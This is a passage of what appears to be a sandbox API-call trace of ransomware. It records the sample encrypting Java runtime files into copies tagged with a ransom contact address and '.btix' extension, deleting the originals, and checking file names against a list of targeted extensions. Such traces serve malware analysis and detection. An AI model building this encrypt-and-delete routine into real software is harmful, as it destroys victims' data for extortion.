(lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0152.895] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=1461) returned 1 [0152.895] CloseHandle (hObject=0x36c) returned 1 [0152.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 0x20 [0152.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.895] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0152.895] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.895] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.895] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0152.896] GetLastError () returned 0x0 [0152.896] ReadFile (in: hFile=0x36c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x5b5, lpOverlapped=0x0) returned 1 [0152.896] WriteFile (in: hFile=0x398, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0153.267] ReadFile (in: hFile=0x36c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.267] WriteFile (in: hFile=0x398, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe8, lpOverlapped=0x0) returned 1 [0153.267] SetEndOfFile (hFile=0x398) returned 1 [0153.636] CloseHandle (hObject=0x398) returned 1 [0153.636] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.636] SetEndOfFile (hFile=0x36c) returned 1 [0153.637] CloseHandle (hObject=0x36c) returned 1 [0153.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0154.382] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 1 [0154.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0154.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0154.382] lstrlenW (lpString=".doc") returned 4 [0154.382] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0154.382] lstrlenW (lpString=".docx") returned 5 [0154.382] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0154.382] lstrlenW (lpString=".pdf") returned 4 [0154.382] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0154.382] lstrlenW (lpString=".xls") returned 4 [0154.382] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0154.382] lstrlenW (lpString=".xlsx") returned 5 [0154.382] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0154.383] lstrlenW (lpString=".ppt") returned 4 [0154.383] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0154.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0154.383] lstrlenW (lpString=".zip") returned 4 [0154.383] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0154.383] lstrlenW (lpString=".rar") returned 4 [0154.383] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0154.383] lstrlenW (lpString=".bz2") returned 4 [0154.383] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0154.383] lstrlenW (lpString=".7z") returned 3 [0154.383] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0154.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0154.383] lstrlenW (lpString=".dbf") returned 4 [0154.383] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0154.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0154.383] lstrlenW (lpString=".1cd") returned 4 [0154.383] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0154.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0154.383] lstrlenW (lpString=".jpg") returned 4 [0154.383] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0154.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0154.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0154.383] lstrlenW (lpString=".doc") returned 4 [0154.383] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0154.383] lstrlenW (lpString=".docx") returned 5 [0154.383] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0154.383] lstrlenW (lpString=".pdf") returned 4 [0154.383] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0154.383] lstrlenW (lpString=".xls") returned 4 [0154.383] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0154.384] lstrlenW (lpString=".xlsx") returned 5 [0154.384] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0154.384] lstrlenW (lpString=".ppt") returned 4 [0154.384] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0154.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0154.384] lstrlenW (lpString=".zip") returned 4 [0154.384] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0154.384] lstrlenW (lpString=".rar") returned 4 [0154.384] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0154.384] lstrlenW (lpString=".bz2") returned 4 [0154.384] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0154.384] lstrlenW (lpString=".7z") returned 3 [0154.384] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0154.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0154.384] lstrlenW (lpString=".dbf") returned 4 [0154.384] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0154.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0154.384] lstrlenW (lpString=".1cd") returned 4 [0154.384] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0154.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0154.384] lstrlenW (lpString=".jpg") returned 4 [0154.384] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0154.384] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0154.384] lstrlenW (lpString="javaws.jar") returned 10 [0154.384] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.385] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=944167) returned 1 [0154.385] CloseHandle (hObject=0x368) returned 1 [0154.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 0x20 [0154.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0154.385] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.385] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.385] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.385] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0154.386] GetLastError () returned 0x0 [0154.386] ReadFile (in: hFile=0x368, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0xe6827, lpOverlapped=0x0) returned 1 [0154.400] WriteFile (in: hFile=0x354, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe6830, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe6830, lpOverlapped=0x0) returned 1 [0154.412] ReadFile (in: hFile=0x368, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.413] WriteFile (in: hFile=0x354, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe8, lpOverlapped=0x0) returned 1 [0154.413] SetEndOfFile (hFile=0x354) returned 1 [0154.413] CloseHandle (hObject=0x354) returned 1 [0154.413] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.413] SetEndOfFile (hFile=0x368) returned 1 [0154.420] CloseHandle (hObject=0x368) returned 1 [0154.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0154.420] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 1 [0154.421] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0154.421] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0154.421] lstrlenW (lpString=".doc") returned 4 [0154.421] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0154.421] lstrlenW (lpString=".docx") returned 5 [0154.421] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0154.421] lstrlenW (lpString=".pdf") returned 4 [0154.421] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0154.421] lstrlenW (lpString=".xls") returned 4 [0154.421] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0154.421] lstrlenW (lpString=".xlsx") returned 5 [0154.421] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0154.421] lstrlenW (lpString=".ppt") returned 4 [0154.421] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0154.421] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0154.421] lstrlenW (lpString=".zip") returned 4 [0154.421] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0154.421] lstrlenW (lpString=".rar") returned 4 [0154.421] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0154.421] lstrlenW (lpString=".bz2") returned 4 [0154.421] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0154.421] lstrlenW (lpString=".7z") returned 3 [0154.421] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0154.421] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0154.421] lstrlenW (lpString=".dbf") returned 4 [0154.421] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0154.421] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0154.421] lstrlenW (lpString=".1cd") returned 4 [0154.421] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0154.421] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0154.422] lstrlenW (lpString=".jpg") returned 4 [0154.422] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0154.422] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0154.422] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0154.422] lstrlenW (lpString=".doc") returned 4 [0154.422] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0154.422] lstrlenW (lpString=".docx") returned 5 [0154.422] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0154.422] lstrlenW (lpString=".pdf") returned 4 [0154.422] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0154.422] lstrlenW (lpString=".xls") returned 4 [0154.422] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0154.422] lstrlenW (lpString=".xlsx") returned 5 [0154.422] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0154.422] lstrlenW (lpString=".ppt") returned 4 [0154.422] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0154.422] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0154.422] lstrlenW (lpString=".zip") returned 4 [0154.422] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0154.422] lstrlenW (lpString=".rar") returned 4 [0154.422] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0154.422] lstrlenW (lpString=".bz2") returned 4 [0154.422] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0154.422] lstrlenW (lpString=".7z") returned 3 [0154.422] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0154.422] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0154.422] lstrlenW (lpString=".dbf") returned 4 [0154.422] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0154.422] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0154.423] lstrlenW (lpString=".1cd") returned 4 [0154.423] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0154.423] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0154.423] lstrlenW (lpString=".jpg") returned 4 [0154.423] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0154.423] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0154.423] lstrlenW (lpString="jce.jar") returned 7 [0154.423] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.423] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=116446) returned 1 [0154.423] CloseHandle (hObject=0x368) returned 1 [0154.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 0x20 [0154.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0154.423] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.423] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.424] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.424] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0154.424] GetLastError () returned 0x0 [0154.424] ReadFile (in: hFile=0x368, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x1c6de, lpOverlapped=0x0) returned 1 [0154.426] WriteFile (in: hFile=0x354, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x1c6e0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x1c6e0, lpOverlapped=0x0) returned 1 [0154.428] ReadFile (in: hFile=0x368, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.428] WriteFile (in: hFile=0x354, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe2, lpOverlapped=0x0) returned 1 [0154.484] SetEndOfFile (hFile=0x354) returned 1 [0154.484] CloseHandle (hObject=0x354) returned 1 [0154.484] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.484] SetEndOfFile (hFile=0x368) returned 1 [0154.486] CloseHandle (hObject=0x368) returned 1 [0154.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.190] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 1 [0155.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0155.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0155.191] lstrlenW (lpString=".doc") returned 4 [0155.191] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0155.191] lstrlenW (lpString=".docx") returned 5 [0155.191] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0155.191] lstrlenW (lpString=".pdf") returned 4 [0155.191] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0155.191] lstrlenW (lpString=".xls") returned 4 [0155.191] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0155.191] lstrlenW (lpString=".xlsx") returned 5 [0155.191] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0155.191] lstrlenW (lpString=".ppt") returned 4 [0155.191] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0155.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0155.192] lstrlenW (lpString=".zip") returned 4 [0155.192] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0155.192] lstrlenW (lpString=".rar") returned 4 [0155.192] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0155.192] lstrlenW (lpString=".bz2") returned 4 [0155.192] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0155.192] lstrlenW (lpString=".7z") returned 3 [0155.192] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0155.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0155.192] lstrlenW (lpString=".dbf") returned 4 [0155.192] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0155.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0155.192] lstrlenW (lpString=".1cd") returned 4 [0155.192] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0155.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0155.192] lstrlenW (lpString=".jpg") returned 4 [0155.192] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0155.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0155.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0155.192] lstrlenW (lpString=".doc") returned 4 [0155.192] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0155.192] lstrlenW (lpString=".docx") returned 5 [0155.192] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0155.192] lstrlenW (lpString=".pdf") returned 4 [0155.192] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0155.192] lstrlenW (lpString=".xls") returned 4 [0155.192] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0155.192] lstrlenW (lpString=".xlsx") returned 5 [0155.192] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0155.192] lstrlenW (lpString=".ppt") returned 4 [0155.192] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0155.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0155.193] lstrlenW (lpString=".zip") returned 4 [0155.193] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0155.193] lstrlenW (lpString=".rar") returned 4 [0155.193] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0155.193] lstrlenW (lpString=".bz2") returned 4 [0155.193] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0155.193] lstrlenW (lpString=".7z") returned 3 [0155.193] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0155.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0155.193] lstrlenW (lpString=".dbf") returned 4 [0155.193] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0155.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0155.193] lstrlenW (lpString=".1cd") returned 4 [0155.193] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0155.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0155.193] lstrlenW (lpString=".jpg") returned 4 [0155.193] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0155.193] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0155.193] lstrlenW (lpString="logging.properties") returned 18 [0155.193] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.193] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=2455) returned 1 [0155.193] CloseHandle (hObject=0x374) returned 1 [0155.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 0x20 [0155.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.194] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.194] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.194] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.194] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0155.194] GetLastError () returned 0x0 [0155.194] ReadFile (in: hFile=0x374, 